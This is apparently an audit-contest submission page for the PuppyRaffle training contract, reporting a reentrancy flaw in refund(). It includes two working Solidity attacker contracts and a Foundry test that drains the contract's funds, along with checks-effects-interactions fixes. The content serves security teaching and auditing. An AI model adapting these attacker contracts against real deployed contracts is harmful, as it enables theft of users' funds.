Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy attack in `PuppyRaffle::refund` allows user to drain all contract money

[H] Reentrancy attack in PuppyRaffle::refund user to drain all contract money

Description: The PuppyRaffle::refund function does not follow [CEI]that enables participants to drain the contract money.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address, and then we update the players array.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious user

Proof of Concept:

  1. Users enters the raffle.

  2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund.

  3. Attacker enters the raffle

  4. Attacker calls PuppyRaffle::refund from their contract, draining the contract money

Proof of Code:

Code Add this code to the `PuppyRaffleTest.t.sol` file.
contract ReentrancyAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackerIndex;
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
entranceFee = puppyRaffle.entranceFee();
}
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerIndex);
}
fallback() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
}
function testReentrancy() public playersEntered {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(puppyRaffle));
vm.deal(address(attacker), 1e18);
uint256 startingAttackerBalance = address(attacker).balance;
uint256 startingContractBalance = address(puppyRaffle).balance;
attacker.attack();
uint256 endingAttackerBalance = address(attacker).balance;
uint256 endingContractBalance = address(puppyRaffle).balance;
assertEq(endingAttackerBalance, startingAttackerBalance + startingContractBalance);
assertEq(endingContractBalance, 0);
}

Recommended Mitigation: To fix this, we should have the PuppyRaffle::refund function update the players array before making the external call.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "PuppyRaffle: Failed to refund player");
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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